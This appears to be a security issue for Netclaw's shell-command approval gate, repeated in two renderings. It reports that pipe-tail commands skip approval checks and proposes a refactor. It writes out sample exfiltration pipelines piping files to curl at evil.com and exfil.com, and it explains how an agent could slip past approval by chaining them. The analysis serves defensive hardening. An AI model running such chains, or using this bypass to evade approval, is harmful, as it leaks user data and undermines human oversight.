Problem
Netclaw's shell command approval gate underutilizes ShellSyntaxTree, resulting in two concrete security gaps and significant code duplication. The approval system partially leverages the library's AST but maintains hand-rolled logic that duplicates — and in some cases, weakens — the structural analysis the library already performs.
Finding 1: Pipe-Tail Clause Blind Spot (Security Gap)
File: src/Netclaw.Security/IToolApprovalMatcher.cs, lines 219–275
For a piped command like cat /etc/hosts | grep secret | curl http://evil.com -d @-, the ExtractCandidatesViaBashParser method only extracts the pipeline head (cat) as an approval candidate. Pipe-tail clauses are intentionally skipped:
// Line 241–242
if (!ReferenceEquals(clause, groupHead))
continue; // pipe-tail clauses are SKIPPED
Impact: If cat is pre-approved in the workspace, grep and curl execute without any approval check. A malicious agent could chain: cat README.md | curl -X POST http://exfil.com -d @- and the exfiltration executes because only cat was checked.
ShellSyntaxTree already parses every clause with full fidelity (Clause.Operator = CompoundOperator.Pipe, Clause.Verb per clause). Netclaw simply ignores pipe-tail verbs during candidate extraction.
Finding 2: Redundant IsMessyCompoundCommand (Code Duplication + Weaker Coverage)
File: src/Netclaw.Security/ShellTokenizer.cs, lines 142–238
A ~100-line hand-rolled character scan (IsMessyCompoundCommand) detects bash control-flow keywords and unbalanced delimiters. ShellSyntaxTree's BashParser already performs this exact analysis and exposes it via ParsedCommand.IsUnparseable.
Keyword coverage gap:
| Category |
Library (15 keywords) |
Netclaw (8 keywords) |
Missing in Netclaw |
| Loops |
for, while, until, do, done |
for, while, do, done |
until |
| Conditionals |
if, then, elif, else, fi |
then, fi |
if, elif, else |
| Selection |
case, esac, select, in |
case, esac |
select, in |
| Functions |
function |
— |
function |
The hand-rolled scan also misses constructs the library catches: function definitions, process substitution, complex parameter expansion, arithmetic expansion. And it runs before TryParseCommand, so every command is parsed twice — once by the hand-rolled scan, once by the library.
False positives: The hand-rolled scan counts [/] as bracket balance, but [ is also the test command. The library's lexer correctly tokenizes [/] as words, not structural operators.
Finding 3: Unused Library Capabilities
Several ShellSyntaxTree fields are available but unused in Netclaw's approval system:
| Field |
Purpose |
Current Usage |
Clause.IsCommandStringWrapped |
Identifies bash -c "..." recursion |
Not used |
VerbChain.CanonicalVerb |
Alias-resolved verb identity |
Not used |
VerbChain.IsDynamic |
Dynamic verb detection (& $exe) |
Not used |
Arg.Kind |
Arg classification (DynamicSkip, Glob, EnvVar) |
Not used |
Arg.IsPath |
Per-verb path classification |
Not used (Netclaw uses ShellTokenizer.IsPathToken instead) |
The library's Arg.IsPath is particularly notable — BashPerVerbRules (SPEC §7) maps each verb to its expected path argument positions. Netclaw re-implements this with a generic prefix check instead of using the verb-aware classification.
Goal
Refactor Netclaw's approval system to fully leverage ShellSyntaxTree's AST output, eliminating hand-rolled logic and closing the pipe-tail security gap.
Target Outcomes
-
Extract candidates from all pipeline clauses — every verb in a pipe chain should be checked against the approval store, not just the head. The display unit can remain folded (operator sees one pipeline), but the security gate should validate all verbs.
-
Replace IsMessyCompoundCommand with BashParser.IsUnparseable — remove the ~100-line hand-rolled scan and use the library's structural parser. This eliminates double-parsing, catches more constructs, and uses the library's 15-keyword set instead of 8.
-
Adopt library-provided fields where applicable — particularly Arg.IsPath for verb-aware path classification and Arg.Kind for dynamic arg detection.
Files to Change
src/Netclaw.Security/IToolApprovalMatcher.cs — ExtractCandidatesViaBashParser, ExtractApprovalUnitsViaBashParser, IsApproved, IsMessy
src/Netclaw.Security/ShellTokenizer.cs — IsMessyCompoundCommand, SplitCompoundCommand
src/Netclaw.Security/ShellApprovalSemantics.cs — verb chain extraction via ExtractVerbChain
Not In Scope
- Changes to ShellSyntaxTree itself (the library is doing its job; this is a consumer fix)
ShellCommandPolicy.cs (hard-deny list logic — separate concern)
- PowerShell parser integration (deferred,
cmd parser not yet in library)
Problem
Netclaw's shell command approval gate underutilizes
ShellSyntaxTree, resulting in two concrete security gaps and significant code duplication. The approval system partially leverages the library's AST but maintains hand-rolled logic that duplicates — and in some cases, weakens — the structural analysis the library already performs.Finding 1: Pipe-Tail Clause Blind Spot (Security Gap)
File:
src/Netclaw.Security/IToolApprovalMatcher.cs, lines 219–275For a piped command like
cat /etc/hosts | grep secret | curl http://evil.com -d @-, theExtractCandidatesViaBashParsermethod only extracts the pipeline head (cat) as an approval candidate. Pipe-tail clauses are intentionally skipped:Impact: If
catis pre-approved in the workspace,grepandcurlexecute without any approval check. A malicious agent could chain:cat README.md | curl -X POST http://exfil.com -d @-and the exfiltration executes because onlycatwas checked.ShellSyntaxTree already parses every clause with full fidelity (
Clause.Operator = CompoundOperator.Pipe,Clause.Verbper clause). Netclaw simply ignores pipe-tail verbs during candidate extraction.Finding 2: Redundant
IsMessyCompoundCommand(Code Duplication + Weaker Coverage)File:
src/Netclaw.Security/ShellTokenizer.cs, lines 142–238A ~100-line hand-rolled character scan (
IsMessyCompoundCommand) detects bash control-flow keywords and unbalanced delimiters. ShellSyntaxTree'sBashParseralready performs this exact analysis and exposes it viaParsedCommand.IsUnparseable.Keyword coverage gap:
for,while,until,do,donefor,while,do,doneuntilif,then,elif,else,fithen,fiif,elif,elsecase,esac,select,incase,esacselect,infunctionfunctionThe hand-rolled scan also misses constructs the library catches: function definitions, process substitution, complex parameter expansion, arithmetic expansion. And it runs before
TryParseCommand, so every command is parsed twice — once by the hand-rolled scan, once by the library.False positives: The hand-rolled scan counts
[/]as bracket balance, but[is also thetestcommand. The library's lexer correctly tokenizes[/]as words, not structural operators.Finding 3: Unused Library Capabilities
Several ShellSyntaxTree fields are available but unused in Netclaw's approval system:
Clause.IsCommandStringWrappedbash -c "..."recursionVerbChain.CanonicalVerbVerbChain.IsDynamic& $exe)Arg.KindDynamicSkip,Glob,EnvVar)Arg.IsPathShellTokenizer.IsPathTokeninstead)The library's
Arg.IsPathis particularly notable —BashPerVerbRules(SPEC §7) maps each verb to its expected path argument positions. Netclaw re-implements this with a generic prefix check instead of using the verb-aware classification.Goal
Refactor Netclaw's approval system to fully leverage ShellSyntaxTree's AST output, eliminating hand-rolled logic and closing the pipe-tail security gap.
Target Outcomes
Extract candidates from all pipeline clauses — every verb in a pipe chain should be checked against the approval store, not just the head. The display unit can remain folded (operator sees one pipeline), but the security gate should validate all verbs.
Replace
IsMessyCompoundCommandwithBashParser.IsUnparseable— remove the ~100-line hand-rolled scan and use the library's structural parser. This eliminates double-parsing, catches more constructs, and uses the library's 15-keyword set instead of 8.Adopt library-provided fields where applicable — particularly
Arg.IsPathfor verb-aware path classification andArg.Kindfor dynamic arg detection.Files to Change
src/Netclaw.Security/IToolApprovalMatcher.cs—ExtractCandidatesViaBashParser,ExtractApprovalUnitsViaBashParser,IsApproved,IsMessysrc/Netclaw.Security/ShellTokenizer.cs—IsMessyCompoundCommand,SplitCompoundCommandsrc/Netclaw.Security/ShellApprovalSemantics.cs— verb chain extraction viaExtractVerbChainNot In Scope
ShellCommandPolicy.cs(hard-deny list logic — separate concern)cmdparser not yet in library)